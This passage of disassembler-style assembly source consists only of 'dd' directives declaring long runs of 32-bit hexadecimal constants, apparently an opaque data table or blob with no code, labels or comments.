		dd 3992A91Ah, 0EC45156h, 2A4A27E4h, 9CD689D6h, 0D58A1D4Fh
		dd 0ED06DB77h, 0A1E17C89h, 5D7B9EEEh, 6A56C41Ah, 9396345Ah
		dd 0E0681C02h, 0E598ADDFh, 24290EFFh, 0BC6CB1C4h, 0C87C3516h
		dd 3B0A89A1h, 9486FC3Bh, 6857D5BAh, 74B72E37h, 0D61F5D75h
		dd 35A669EBh, 0DD3D932Fh, 6CFCB90Fh, 5A82A6BEh,	0A41B309Bh
		dd 75B756F8h, 212D2685h, 0D30138h, 0E9F04603h, 6199E3A1h
		dd 3EBC0F0Eh, 0F539B8D9h, 0B3ED8203h, 305F1D07h, 0E824299Dh
		dd 0E2157B63h, 0EE9818D4h, 20964D98h, 0A6772B6Fh, 0D75DD3FFh
		dd 0DE9C5E82h, 8D5DFC23h, 0E8F85C5Ah, 2CC23B4Fh, 22710F2Ch
		dd 4C39E747h, 994C35A1h, 9AAF27E7h, 85BA6882h, 0FF690FF8h
		dd 29EFE3FFh, 0E2C84B68h, 322220C8h, 0E62E513Ch, 1C119CBh
		dd 4F9C98E1h, 0E0570245h, 0BE6BB00Eh, 227873EDh, 8536F7DFh
		dd 1B6C9C45h, 0A703A823h, 0E34C6A8Bh, 0BBD2600h, 0CD2AD4C4h
		dd 4E1CD5D1h, 5F0103C4h, 4552C537h, 700DE085h, 0E46D40FFh
		dd 0EFCD6D9Fh, 0EF9283EAh, 0BCB4947Dh, 982498FEh, 533123E0h
		dd 39B925B0h, 9DD65BC8h, 67DF26EEh, 54FD55F1h, 0EE7EA28h
		dd 2BD490EAh, 9B7FD304h, 172E6C99h, 36BCB67Ah, 7F77F7D7h
		dd 1EB8D8C3h, 5AEF3442h, 24C5DAF4h, 40384CCCh, 15753022h
		dd 9F14459h, 636BAC3Bh,	0B08870DEh, 0D2FE35B7h,	7D1F7831h
		dd 9AEA64E9h, 74C00413h, 0C3CE9E31h, 16C06C0Ah,	6C805720h
		dd 693120FAh, 5EA26513h, 7144EFC0h, 1086210h, 46536E7Eh
		dd 4C1A3388h, 79F04D37h, 0BDD3E9E6h, 7F778141h,	0FEB5079Fh
		dd 33781323h, 0D1F177Ah, 817A6C6Dh, 9826A147h, 0F73B8D22h
		dd 7C819F43h, 81707AC7h, 13C5549Dh, 4BB90021h, 8B35FD83h
		dd 0A507F266h, 0A80B32h, 0E43B2EBCh, 1D8969D6h,	0D53D6017h
		dd 8C6ECFEAh, 0BCE96855h, 0EC05F1E1h, 84CDFC32h, 0F54DD90Dh
		dd 0D2B7B042h, 0F2D9C1D4h, 96726F0Bh, 0F8078204h, 3C7DD10Ch
		dd 86D24FEDh, 0BADC956h, 49199BD7h, 0C7405F22h,	7806D9C9h
		dd 9927D80Bh, 208A498Fh, 59C602Eh, 0C24C8374h, 509CB60Ch
		dd 1F6B5F20h, 8D812FD0h, 0C6D196DFh, 30DA9B3Ch,	0EE19AEB8h
		dd 0E95D1560h, 0F7A0F717h, 0DF24BE62h, 2182CBBBh, 0FA0A1540h
		dd 5C376FD1h, 7DC0F2BDh, 3AA8FC61h, 140CF792h, 0DEBCAAC9h
		dd 589E9ADCh, 0CD005BBFh, 0B67C50D9h, 0D0C234h,	20A2FEA6h
		dd 0F2045B2Fh, 0D273C5Bh, 4EE16B16h, 2A80EF32h,	0F5F2761Bh
		dd 192008FCh, 3C98D0A9h, 0C16E2D7Fh, 0EEEFC78h,	0AFB9DDB5h
		dd 6BAE3D24h, 87399B76h, 43F54ED5h, 0DFA10AA5h,	7A256C23h
		dd 7AB2163Dh, 66300B27h, 0A6A2835Ch, 47959D5Dh,	4EA88271h
		dd 0B35419D7h, 52E26A9h, 0C700E78h, 0AEFAF095h,	0A2A73B46h
		dd 54EC5C57h, 86856255h, 0EE3776D9h, 9680AE6Ch,	6D147B55h
		dd 0C795D40h, 1B0359E4h, 62BA3450h, 90F1C487h, 360B14D1h
		dd 67C6CE5Dh, 3F31F566h, 28DEA8FCh, 0F3CECBE6h,	0CEDD5FBFh
		dd 246FE314h, 0D1B6F0DDh, 3A175D01h, 4C940C55h,	62AA0945h
		dd 0CF4EB163h, 287B4926h, 29CC00Ch, 0A334DD0Ch,	5F781F04h
		dd 0B45C4893h, 4B863D66h, 7B7EE3E2h, 449E5907h,	5B5F9723h
		dd 0CB2E8226h, 7B6EB816h, 53B23DF3h, 43C6D9Dh, 0C177B923h
		dd 752C2EE3h, 918B2277h, 0AB61DB7Dh, 3603FC6Ah,	13960FB3h
		dd 975CBA51h, 87E740F3h, 3B98FB09h, 3F4380F8h, 6A569629h
		dd 9067FE28h, 0CFB37220h, 0EC377D5Ch, 0BC7A686Ah, 0F65F31ACh
		dd 3BF794Eh, 71B19587h,	52CB10C6h, 0F9C6748Bh, 0C4384096h
		dd 0C75C1947h, 9AD1AD08h, 0EF8DB19Fh, 0DA9A1858h, 7AE8BDD1h
		dd 8BB5A30Eh, 26D52B38h, 0BA285769h, 26D318DFh,	7076E1DDh
		dd 1551CC77h, 0F2FA5B01h, 4DFB9700h, 34B2D1F2h,	1AD15E81h
		dd 0AF977F5h, 0D4057F38h, 902061CAh, 29A973B7h,	62EEAE54h
		dd 87BE267Eh, 0FA433770h, 2CAFF573h, 0D5D2D3D3h, 0D4D611A3h
		dd 4B67BD52h, 1848D0E1h, 8147BDEDh, 5900B702h, 0BB330D92h
		dd 0DCA0955Fh, 0B58E39FCh, 1F87E806h, 403676EAh, 87048590h
		dd 2EF6669Ch, 0DA523440h, 66285C8Dh, 5E6796DEh,	63F78D09h
		dd 196CCFC9h, 0C1E9404h
		dd 585D3024h, 4274CEE2h, 10FFBAE4h, 87508361h, 7E9348CEh
		dd 22A26CFAh, 0EFD75A15h, 0A3BF53F5h, 0A1E92370h, 0F0DE558Ch
		dd 0A4F3CC07h, 0FB76A4B4h, 5594A1DAh, 74DE436Eh, 0FB63815Dh
		dd 0A3138D8Ch, 1BD9E093h, 0D2EC24A5h, 1ABB1856h, 0FEC9C4E9h
		dd 45A36CB3h, 22F64F0Dh, 843B83E2h, 96BB18FAh, 0E5D3C936h
		dd 82B27F19h, 0AE43EA8Ch, 0DF3085CDh, 6C2C20A1h, 76103C3Dh
		dd 36039FD2h, 4EA8376Fh, 0C9D33161h, 982FFD61h,	5D5610B6h
		dd 2A5F6B79h, 0AE62F961h, 4DD0C049h, 0F601FF6Fh, 0D9F75FDFh
		dd 1A41EDB9h, 1CE42916h, 7B14983Ah, 0BA3901A3h,	171B11Eh
		dd 7ACECD66h, 874F9131h, 31646D51h, 8F5ECA0h, 771FEAB6h
		dd 38E26BBCh, 54BD8308h, 6E0D7CC6h, 0B29B5E48h,	42B69A21h
		dd 0E22235C5h, 2E86DEFCh, 22587BFFh, 3AAB5DB3h,	17A6F4B7h
		dd 0E6D124A6h, 3021B21Ch, 802D93A7h, 43138B56h,	66091B18h
		dd 0E9E27537h, 1C7DA3D7h, 4951ADBCh, 3203AB9h, 2241D068h
		dd 0BF14D23Fh, 0AE9C41EBh, 7779F985h, 0BA7CF992h, 0D21E47AAh
		dd 3DA7E0DDh, 8105FA50h, 17230EACh, 5B611ACDh, 2C0AB7EDh
		dd 0F6CF0B54h, 2C62D906h, 73566E55h, 0C6FBB34Bh, 980D42D8h
		dd 8F9E8724h, 35B097A4h, 0FFD572CCh, 0AB0DF499h, 565AAFCBh
		dd 74D2B234h, 9E0042E0h, 80A9A33Eh, 0AC3CE8E5h,	78425479h
		dd 66A830EEh, 0B18C8780h, 0B0CC97FDh, 90AE7E0Ch, 2EAF39B9h
		dd 0E39971DDh, 17988C57h, 37F8A85Dh, 22BBBECDh,	2121004Eh
		dd 35DD9D02h, 380001D3h, 0ACCB359Ch, 767FD493h,	0C39C693Bh
		dd 0FE6A1074h, 0C8298DA1h, 5E2A26F9h, 7A5135B5h, 37A60A1h
		dd 3F5BDDAh, 78580743h,	0F4C5933Ah, 0D85D031Eh,	0D7748FA5h
		dd 0D0E2C1EFh, 14D4B153h, 9C54F01h, 365A70D0h, 3BA01D10h
		dd 9DAC900h, 0DDD4839Fh, 0BA241994h, 8A010D9Ch,	9AE73690h
		dd 13924C95h, 0FC2B87F9h, 4F05CD06h, 4B490A0Ah,	0A911BDAEh
		dd 0D857AAB4h, 3F225400h, 59732645h, 6872B7B5h,	95F56E97h
		dd 3C18FADAh, 4C38A6Ah,	0E3D32BC3h, 0AB6EEB81h,	794EEFDBh
		dd 4E1F425Bh, 60B3E483h, 6BB1C19Eh, 0B82015D7h,	52164BD8h
		dd 3D15953Bh, 0B4B6373Bh, 5052C0E2h, 9673DFFBh,	0F280CBBBh
		dd 0C0164F41h, 0AF480A7h, 143D7514h, 0B1DE8BFCh, 11705501h
		dd 0A7668674h, 854480AFh, 86063FE4h, 73C55C3Ch,	0DDFD19B9h
		dd 24F7EDACh, 0ABC2B158h, 1C30C29Ah, 1EAB744Eh,	4A183BD7h
		dd 0B4FFC033h, 752B83C0h, 0AC63CB9Ch, 975B9B9Dh, 23B6C773h
		dd 6B38618Ah, 5CB45E94h, 52653F02h, 3EF8232Bh, 77A0D44Dh
		dd 22DB1BEBh, 5173211Bh, 0BE88A36Ch, 70BC95A1h,	1D55132Dh
		dd 9C7898B6h, 1DAA4A8h,	6D4F7573h, 6BC9B828h, 6CBAD5E7h
		dd 0CB699A9h, 87648E0Bh, 83154A30h, 7A51D776h, 74F31A74h
		dd 8BD5029Fh, 0A3A4CE59h, 9E3BFE9Ah, 5015948Fh,	404A7205h
		dd 0CB3C3DBCh, 5AC91E76h, 0F0366334h, 8BA1389Bh, 10B2BF03h
		dd 0E9EDF9F1h, 0E04E305Dh, 9689FF55h, 0A2BD36B3h, 97D175BCh
		dd 9B5BA2A3h, 9B512053h, 6A7D0BC6h, 757B11E9h, 3155CAF9h
		dd 0C6CFE617h, 0CA9F6D2Eh, 5A3F2D06h, 8BEE9DCDh, 0BA86EF51h
		dd 0EC4FC1FBh, 3641DD16h, 15D8AED6h, 0ADAE4E6Ah, 0D9A086DDh
		dd 0C0BBC4A0h, 0D1EA3CFFh, 58C3211Dh, 65AAA42Eh, 19812832h
		dd 0FCD012F4h, 0A73C868Fh, 819B2719h, 8A6C139Ah, 0EE763133h
		dd 0FA3A36E3h, 0C6A06F8Fh, 87E3D475h, 0DDF58C10h, 365227ECh
		dd 3FE5C4ECh, 8941EDBh,	0E5017B55h, 4CD685A9h, 7E60D92Eh
		dd 1C79287Dh, 0C67F57DDh, 3F892CD0h, 6540FFC7h,	6830CB45h
		dd 7C833F72h, 0D97C6056h, 0C03E4D08h, 979E9166h, 7EA85384h
		dd 0BDFCD211h, 3FAEADE3h, 515C8BABh, 6B81B5B9h,	0C8312EA9h
		dd 734409F5h, 89303AFAh, 0EC0F03F4h, 81F686E7h,	8A8DEF9h
		dd 31CA103Eh, 0D7791B8Ch, 62E0D9D1h, 0CF3AD604h, 3BB7E6Dh
		dd 865E3B24h, 1B08147Dh, 4A65DA79h, 0C08DB221h,	6220EE20h
		dd 307AF504h, 0A08A972Bh, 9CC41640h, 0E799137Fh, 5451041Ch
		dd 0B826CFC5h, 7206A494h, 0A241074Eh, 38EDD96Fh, 0FA280773h
		dd 3DACF45Ah, 0BF520D2Bh, 0E3839C80h, 95950775h, 40A622F5h
		dd 59A06E08h, 43B1B873h, 0BE3C77A6h, 6B05DD8h, 0BB0C41D0h
		dd 0A60289F6h, 0C41601D3h, 0CDD312F2h, 0ACB1519Fh, 222BDD56h
		dd 2429B1D9h, 6A845F83h, 229BDC69h, 16CE4962h, 92B90751h
		dd 1CD11D9Bh, 692DD548h, 0CE1677A7h, 8B5C2D50h,	3AAB2B9h
		dd 3144FA08h, 38E35FB0h, 625338Fh, 0CE77C70Ch, 0CA9A32EAh
		dd 0E86099C7h, 37D79396h, 15DCF4D8h, 39920BD9h,	68101917h
		dd 39CA4904h, 0DCFC57A0h, 7CCB3C41h, 81A2B99h, 0D5983C76h
		dd 5484C21Fh, 0DEA04AB9h, 0C4C6B412h, 0D365B3B6h, 0B40CB5BEh
		dd 0C8C21A60h, 9DBA93B0h, 0C6A0B1F6h, 8A44864Dh, 3B33C78Ch
		dd 0C076E357h, 8C219E35h, 39C1F840h, 4AC01B09h,	0A6264651h
		dd 19CD393Bh, 55580DA9h, 0DE9855Ah, 0AC71588Ah,	3D390D54h
		dd 230E0BFFh, 0CD535347h, 6F2724DEh, 73A5BBD6h,	9201BD83h
		dd 0C67B8C03h, 0B29560B9h, 0DAC236Eh, 0EB4E571Ch, 0B7FC5662h
		dd 4D30C5EEh, 0B828B32Fh, 4F3C458Ah, 3D62FAD6h,	0F72DE7A7h
		dd 8CA9EF01h, 0E01B177h, 0AEA58C1Fh, 675E6722h,	44E47886h
		dd 0D09D17E9h, 0BBE49772h, 4C9DE113h, 56B00818h, 0C99A2EA2h
		dd 58695A87h, 0D146C2E9h, 23EE05h, 23EEBF63h, 0F4FAA661h
		dd 979F96EDh, 0E6559DEEh, 0E8A215ECh, 0F7C93F32h, 0FD2340F5h
		dd 3EFB8E6h, 250087E3h,	4BF29625h, 0CDEF4845h, 0B41A36D6h
		dd 34D325D1h, 636C34B1h, 588A0844h, 0B2A46299h,	8C90509Dh
		dd 0AD03DBDFh, 4803D999h, 0D2436DFDh, 48A28F7Dh, 0E6130553h
		dd 10B49159h, 0E6B34F8h, 392734C7h, 53FC703Bh, 4A146586h
		dd 261D46DCh, 0B636D42Ah, 8D3EB37Dh, 9AD26261h,	26EC7966h
		dd 4E6A0E64h, 7FD62EF5h, 8DE737D7h, 868FBBBDh, 20981B3Fh
		dd 0CD289C51h, 148ACE8Dh, 40F6F2E3h, 0C62439E2h, 3880D37h
		dd 5FCC9842h, 75AE2294h, 8E407959h, 12FB35A1h, 480C88BDh
		dd 2FBAD3DDh, 5C6A736Ch, 12C70B37h, 8503FB08h, 37E7BCCEh
		dd 0A6AE0440h, 55B76965h, 0CBBAB9ADh, 0C10517B9h, 3C1CA4BCh
		dd 0B715543Dh, 920CA036h, 2C3AB0C1h, 8E73110Ah,	2FCB643Eh
		dd 369FACDCh, 308204F6h, 0D55281B3h, 4471DC67h,	4FCA0C16h
		dd 0C2F086BCh, 0F0361E3Ah, 18913A8Fh, 0CF38330Eh, 7595A15Ch
		dd 0D82EAF36h, 0E0D6EFEAh, 7D99D657h, 180BF5B1h, 643B4CC7h
		dd 0F3E458EBh, 5CA7174h, 93BC0D15h, 9A46B3F0h, 0CB876F1Dh
		dd 0D18676A8h, 8E61BC85h, 6123D1B1h, 2F26A895h,	3099D037h
		dd 0D219BEF5h, 0ACB57806h, 53B25BE4h, 3BEA0C49h, 6560CDF3h
		dd 44A7B9FCh, 2ACE20EDh, 552D58D5h, 6E744C59h, 580C8C49h
		dd 0E331A221h, 14C846D1h, 359B46FBh, 8CE6648Ch,	0AF54DB63h
		dd 5D1EB90h, 0EC1A0EB6h, 0A9B8B29Dh, 83EE9257h,	8A2690A1h
		dd 5B279488h, 0D9CD0917h, 5C1FFFF9h, 6EC0FB2Fh,	832003FFh
		dd 635ACC85h, 14062413h, 0EB7E64BCh, 0FD083B99h, 0F42182Ch
		dd 0CC77894Fh, 567EEE7Ch, 59C81389h, 0F502099h,	8B8D1CD5h
		dd 175F0215h, 0F54AB399h, 0DFB451BEh, 0DE731DAFh, 6E66DD15h
		dd 425F8CB4h, 0A062E558h, 5182A461h, 3AF31FA2h,	3EAC79C6h
		dd 4AD77863h, 9B30A48Fh, 2B5EFD11h, 0A0FFE627h,	32BF0AD1h
		dd 0B260CD20h, 97648CFh
		dd 35245DE0h, 0D101C645h, 0C30B88BDh, 6A4031CBh, 0E515A97Dh
		dd 86EA92AAh, 0BD413193h, 0A9B1AEB1h, 704FFD59h, 9884A215h
		dd 0A051507Dh, 96413DBBh, 1483742Bh, 6156A056h,	65E63737h
		dd 5289D3F2h, 41230F68h, 70025630h, 0CB282353h,	0EF7A59BAh
		dd 0FE6F73DAh, 465C8BFDh, 4ED975B7h, 56FD5665h,	8B390957h
		dd 0FC7F72BCh, 0F530954h, 5186EDh, 5DEAAF94h, 18BE11DBh
		dd 28865B31h, 4FD4B0CEh, 0FA80673Ch, 0BA669381h, 810B8FE1h
		dd 25B0E607h, 0D38CD253h, 0A8109E0Bh, 0D3AB7A02h, 0A5CC0CE4h
		dd 667B8237h, 0F08714B0h, 87263EFh, 0AC7786D6h,	51ADC3DDh
		dd 84E0FBB1h, 0C51BB83Ah, 49E64B51h, 0A300AAB9h, 1E545B59h
		dd 62694213h, 0C74CDE86h, 0C1069C54h, 0A8127035h, 0C4ACB782h
		dd 0F2D7D886h, 6C7346D5h, 16836989h, 0A5F2FBAAh, 521262D7h
		dd 778D4A98h, 7B9FE962h, 7B772F0Ah, 5389BEB9h, 1D09AF9Eh
		dd 74013856h, 3742C52Ch, 412C1C26h, 58B16B3Dh, 716AF2C6h
		dd 716BFE67h, 0FABA1F5Bh, 0CD0001Ah, 9598B747h,	0BFB344C9h
		dd 5BC1CC8h, 67CB0E80h,	4C577CDh, 2A547704h, 7A68C19h
		dd 0FC6ACFE1h, 8108CCD2h, 0FC46B77Ah, 0F0AEAC0h, 0D944BD94h
		dd 94B6BD50h, 0DD6AAAB5h, 93AA8E04h, 42DCB66Bh,	0BC1562C9h
		dd 0E697543Bh, 0DF9BD01Eh, 0E024B32Bh, 523D00E4h, 78E0F64h
		dd 2505F076h, 37138940h, 0E47FEBCCh, 0A07B6173h, 0F62CD6B4h
		dd 0CA95D231h, 2E32C1F6h, 6BDBD222h, 5BE24477h,	60DAE5D4h
		dd 220527ADh, 977E592Dh, 4D945198h, 0FD3927B2h,	2D642583h
		dd 8B49A8E9h, 0D8338C63h, 48825591h, 81AF88FBh,	0DFAA0584h
		dd 3D29212Fh, 0B9EFECB3h, 0B4A31F3Dh, 416A8C00h, 3F7706A3h
		dd 818FB107h, 10E39EC6h, 292DB172h, 21E806F1h, 6F213EE3h
		dd 3D6A3FC1h, 0E0CB2426h, 0E1535552h, 0DB40E1B2h, 604F58AEh
		dd 0C1AC6F2Ch, 6E265C80h, 0B5BF3CAEh, 44F2EDE9h, 574ED572h
		dd 0C1DA3F78h, 2D21801Ah, 65961802h, 0B2FBE7AAh, 0F349AD41h
		dd 7298B8E7h, 0CD7DD386h, 2F809001h, 0C4621A4Eh, 28BE3983h
		dd 3B103333h, 8C79314Eh, 0E2744450h, 0BFAB8F2Bh, 0F9EAFD2h
		dd 2791A136h, 936200E4h, 29DE4159h, 2F75967Ah, 72D8007Eh
		dd 7511FA2Bh, 0CAA360A0h, 0F0979459h, 0E12DAAB2h, 72CFE20h
		dd 0F5A80ECFh, 38B324CDh, 8C39AEEDh, 419BDD43h,	0D981CCFFh
		dd 0BD1643ABh, 9A4BB9E7h, 21BCAF94h, 46BEFA38h,	0CA1D0A8Bh
		dd 0DE743D56h, 29399678h, 16F7E51Ah, 15A39F14h,	650F980Dh
		dd 1F95E246h, 5CDC5239h, 47998232h, 35558E7h, 1ACA26C0h
		dd 0A0C9D7FFh, 2F66D430h, 0C2D95596h, 0F4F6FAA5h, 0D2AE5F4Fh
		dd 0F9DB4E8h, 42D443A3h, 9F8F93DAh, 24F37915h, 39A323CAh
		dd 0FA21B9F7h, 3C64AC87h, 0AE27DD5Ah, 38C3C3A7h, 0A38C53B6h
		dd 223197B4h, 0A497E2E4h, 0D30E9F24h, 5AF318DBh, 42469D89h
		dd 9DDEB9D3h, 0BA7549DAh, 3A6169A3h, 0F3AD2458h, 1037B897h
		dd 1C287A4Fh, 0F0726CA4h, 41CB3FCh, 0AB990D75h,	0A9C60960h
		dd 3AAC481Ch, 1533070Bh, 9BA5C2ADh, 66031CEBh, 81B0C8CAh
		dd 5AE3A7B6h, 89886C94h, 4A6841A9h, 0D368DDA6h,	2A78B0FEh
		dd 7A127797h, 98471595h, 1F77BDEDh, 0A2FFBF0Ch,	1AB29880h
		dd 0E199951h, 7500FB02h, 0B38F5964h, 5C9D7947h,	8C6A3EFCh
		dd 0F394E244h, 71B0A983h, 9A0BE0BDh, 4338EDC8h,	545D4EA7h
		dd 0BA713337h, 0EEEABBB7h, 702774DFh, 2BA107B5h, 4FEB3CE1h
		dd 862FD13Dh, 0DE34C6B2h, 8AC88553h, 4ABA031Eh,	0BADD1B67h
		dd 1D910BA8h, 0CB487EF5h, 0D2C3C87Eh, 0FA4EF93Dh, 2E4E63C6h
		dd 422463C7h, 7D3BF4E7h, 2BD084CAh, 2B4C7170h, 0C21A0F6Fh
		dd 0A5670171h, 0E1D8DA65h, 2F7731B8h, 8E58A7A7h, 1A1230C6h
		dd 1465873Bh, 9E31C66Dh, 0A4EBF60Fh, 0C44F688Bh, 3574C765h
		dd 0A9C23F3Fh, 0DE251CFFh, 40290831h, 0D64BAEAFh, 1457027h
		dd 7B6FEC13h, 0A2990930h, 0D25F03D6h, 9DB85E24h, 1C0CD2C1h
		dd 0E78F5636h, 2E1FBEh,	0E9BDF8A9h, 0CC0597A8h,	0F6B8CBBFh
		dd 65BC17E3h, 784FBA46h, 885CDEEh, 3A810D47h, 29EA8483h
		dd 0A3445E26h, 24AB094Fh, 58F5E0A0h, 332D433Bh,	0E1015AF8h
		dd 7A855BEEh, 0A386E31Dh, 8BD78DD9h, 0DC2A7B28h, 0B2B1BF82h
		dd 5CD3199Eh, 288BCBD2h, 0D288094Eh, 432E9F71h,	8DBCC07h
		dd 0E6F92330h, 9A1D4460h, 30BB7186h, 8D08D199h,	6355D51Fh
		dd 2DD3D690h, 0FFA55232h, 0ED2B9C01h, 749BA056h, 6C5696CFh
		dd 871FC99Ch, 8F6BA327h, 0FEEEAA29h, 0ACE47E31h, 9A9BFF3Ch
		dd 8CDAAC44h, 0F785AFB7h, 0B581ACE7h, 0CC24C4B7h, 0D081BB22h
		dd 0A570602Fh, 9BE7E7F9h, 0C249E27Fh, 6CB14AC6h, 0B2539436h
		dd 11F35800h, 69550ECEh, 0ADBF890Ch, 1DBF122Eh,	3D05A60Ah
		dd 49260318h, 24FDB040h, 0B262010Ch, 21AC10A5h,	0BEB43EDh
		dd 450661A2h, 683AD716h, 0C3829196h, 0A77329D6h, 378225F5h
		dd 0C7E41E58h, 6030129Dh, 0B5640E7Bh, 734EA8C8h, 0BB2E37A0h
		dd 3D33120Eh, 0FA9D97B9h, 2A7051D7h, 86EE4547h,	6F6CF39Bh
		dd 3F6347ECh, 697E7785h, 7D59B3F3h, 0C0301F65h,	6C6F6E10h
		dd 41CFEF16h, 7E524235h, 0EB0D87B5h, 8F892906h,	0C702D123h
		dd 0E78FB2E8h, 9B893A5Eh, 0C0D93847h, 0B1708B26h, 39D91A5Dh
		dd 397A8892h, 9FF4A602h, 502B995h, 21AA3A22h, 0FD9EDADDh
		dd 0A2D3611Eh, 83DDA546h, 51355EC0h, 5C98CC2Dh,	6625E64Fh
		dd 55CDC1EDh, 9DDCBFABh, 79036586h, 0E7BC78E8h,	41258070h
		dd 0C8A6C341h, 0DA9752A6h, 0EE4638E2h, 0EF1863EFh, 0BDD6CC80h
		dd 25B6F7F8h, 0FDAC70E5h, 0E23625CAh, 5A8260A0h, 58AC4560h
		dd 56C7CD3Ch, 0DD5994EFh, 4A5C32BAh, 98ECE796h,	2CA49869h
		dd 21DCABFh, 0E76745E3h, 0E700305h, 0A70D4260h,	0E060F04Fh
		dd 210AC71h, 6B823076h,	0A4601919h, 0D2399DCEh,	0D6261036h
		dd 0CBC827E2h, 0C513DAA1h, 1419CC15h, 99D434EAh, 87709286h
		dd 76324B87h, 3B57FC16h, 0D9384CF1h, 285DA7A6h,	505FF3D4h
		dd 2B6C2194h, 5B665D76h, 0AA67461Ah, 395F7A8h, 0BC36D3FBh
		dd 0B9243109h, 0B3957A4h, 0A912C6DFh, 0ABBA27Dh, 61C24AAh
		dd 0D649B62Ah, 0BE09CBD5h, 8DA27ADh, 0BCFD4C87h, 32404722h
		dd 1132FDC3h, 848A7BC6h, 0BFA2E77Bh, 0C07B18B8h, 0C16DF232h
		dd 1541DC1Eh, 0BF84BB6Eh, 0F4AF1730h, 433DE0A9h, 84D90124h
		dd 0FBAD849Dh, 24334DDEh, 0D5C9320Ch, 447F90BFh, 0B358C867h
		dd 7F854C0h, 9E036B68h,	9ABEBA0Fh, 9E50C6AEh, 0D1DB2901h
		dd 68DDBA9Fh, 0E414D987h, 47F75325h, 84D9E3CFh,	0B4990F9Eh
		dd 0DAE82189h, 91B628B1h, 20FFC778h, 0DA0DFC8Ah, 0DE200F73h
		dd 0FEB483A1h, 851A3A53h, 17582985h, 0DAD56AF8h, 693FF6D0h
		dd 0B6B6D013h, 0E9261320h, 627CF2CCh, 0E0B8B286h, 0DE0392DAh
		dd 0CC751E14h, 87E7F81h, 7F5DCDA2h, 49181967h, 1DA6449Eh
		dd 0AC3FAA66h, 64AF712Bh, 92415159h, 3CD96D26h,	6134602h
		dd 7FB38324h, 0D3B3B80Dh, 190C4998h, 8234C45h, 9EFCA383h
		dd 0F790F94Dh, 512BEFB6h, 0D0C4AF57h, 84C419F3h, 0BDE579FAh
		dd 4F9F9F5Eh, 7F4E2A91h, 0A571276Dh, 75DD5E4Ah,	0D4360EB3h
		dd 298FFAC8h, 0B8FB9A08h, 0D68D64F8h, 5D0FFAE6h, 22E499B7h
		dd 0A9CFB1E3h, 5D074062h, 0B34AD730h, 27FF757Ah, 0EB413F06h
		dd 0D18A314Eh, 0EB50215Dh, 4D406269h, 841D023Bh, 767C891Bh
		dd 0DF3E811Bh, 0C45ACA2Ch
		dd 0F6F69C34h, 0C1DB1705h, 0F4F64730h, 0FC067A6Ch, 0B50130A8h
		dd 121080CBh, 713CF487h, 0CB3FA3A1h, 26FCC8CEh,	6BA15B90h
		dd 0FB1A2F9Bh, 0AFD5C904h, 0A0B166B5h, 0CA7B1C41h, 0D53D6B46h
		dd 0CD809288h, 33137471h, 5E8F9A1Eh, 145D29CEh,	5F9EF464h
		dd 0A42D4EA3h, 8B99A2A2h, 67A0FC44h, 0D8BEFB81h, 32B1AD7Dh
		dd 49A3725Dh, 3B0C0DD7h, 0AD4312AEh, 0FD0E211Ch, 0C50570A3h
		dd 0B397CF89h, 678AE49Ch, 5700EB12h, 0F82BAB1Fh, 0EA94C3DFh
		dd 7AFF6596h, 9868D16h,	546C0C71h, 0C995E80Dh, 0BE102DA4h
		dd 123EF2B5h, 0F6D71DACh, 0CD4BD6CAh, 30C628F1h, 81A78BB4h
		dd 5AF7443Ch, 0EFBCD558h, 7FBAAAD9h, 3054E27Eh,	0FD247A31h
		dd 83E4E459h, 1BC08A57h, 41EEB0E3h, 0F84A845Eh,	0C3813B19h
		dd 436F0149h, 0B6BCF0A6h, 79B6188Fh, 37AEA6Bh, 880FB7A7h
		dd 814B2AC0h, 0B5D75FBFh, 0F0F873F0h, 6B0F808h,	5EA3D358h
		dd 2A688426h, 0A5D1190Bh, 7936329Ch, 3D5BDE0Eh,	0E434A1A9h
		dd 4CCC06A7h, 67A374CBh, 0ADDFEAB6h, 2D880646h,	93254B45h
		dd 0DB3DD5AEh, 78A06471h, 4B83E5B5h, 0C5AA5976h, 1B50D3DDh
		dd 117FFD9Ch, 5C4FED65h, 0D516BFE1h, 0BD06A934h, 66871A29h
		dd 4C6A137Dh, 8DCB2A99h, 0D9C7C8C6h, 158B02F4h,	88A3C647h
		dd 0E607249Bh, 0D75735AAh, 1AA965BBh, 24BACC1Bh, 3133B78Fh
		dd 3BA852C3h, 0A5802BC4h, 0A50811A7h, 3A250B28h, 550E12B3h
		dd 0F3651F94h, 0B805D2F0h, 0EF66A39Fh, 0BAD6F5A9h, 52C1217Ch
		dd 0B18FFBD1h, 10E667C1h, 0AEA47801h, 0E0A04D9Fh, 3F7A42E9h
		dd 36AABEA3h, 0CC724842h, 42E41B69h, 0BF05D308h, 0AB4A061Dh
		dd 7C51C2EBh, 2819D039h, 6C996724h, 0BEB5E3F4h,	0E759323Ah
		dd 2EEB6EDBh, 53A941DAh, 0B7B0D961h, 9D212678h,	0BA627EF1h
		dd 0A5BBADF3h, 389F1DDAh, 20E08688h, 2223CDE4h,	0A4CAB331h
		dd 34595899h, 3EC63ADCh, 226666FCh, 0ACD50635h,	0BE06C04Fh
		dd 0E01C789Fh, 0B01CA83Eh, 8FD81A0Ah, 531FEFFDh, 0F9ED3488h
		dd 6A0E8883h, 31B1099Ah, 0C743B7A0h, 3DB23282h,	96C075DBh
		dd 0CB1E9A92h, 8FCCEE64h, 29B4D942h, 0C4D972D7h, 37A4EC19h
		dd 0B7939F3Dh, 4CF1D032h, 10AEC0FFh, 862ED9BCh,	2869A60Bh
		dd 6DD13D2Dh, 57588DC0h, 0B932EDACh, 0A25FDDEDh, 3D7EA2B6h
		dd 8C19B355h, 0B0DC2BF0h, 6C46E8E0h, 0D581F537h, 0E5C54443h
		dd 2F32A82Eh, 79DB7387h, 0FF74345Eh, 825B84DFh,	0B8EBE448h
		dd 6760D7C6h, 0DF90AF42h, 0F5619D53h, 0E068D0AAh, 1BDAB0CCh
		dd 0BCA2262Dh, 0E79DB353h, 875E5BCCh, 472B20EBh, 0F8D43453h
		dd 0F41665BEh, 4A8EB031h, 393D6280h, 70E83ADAh,	0A1C26F99h
		dd 254866F1h, 0E8F95C45h, 9F3548FCh, 606C536Fh,	0DC0EDBCFh
		dd 970DDCFCh, 2E1E8E29h, 66A8F674h, 0A755D19Eh,	5A18A783h
		dd 0CBD76CCh, 0F6E4FC80h, 0AE28BCC8h, 0A7AA3F08h, 94397A85h
		dd 889FF1F5h, 0B5CE1324h, 5141CC9Ch, 0C4243E9h,	44989F18h
		dd 70F44EECh, 0BBA8EB99h, 0F2654972h, 48A15CEEh, 262CD94Dh
		dd 0BBBE31Eh, 0D3226A02h, 795CA9C1h, 0F5281DDEh, 8C087C7Bh
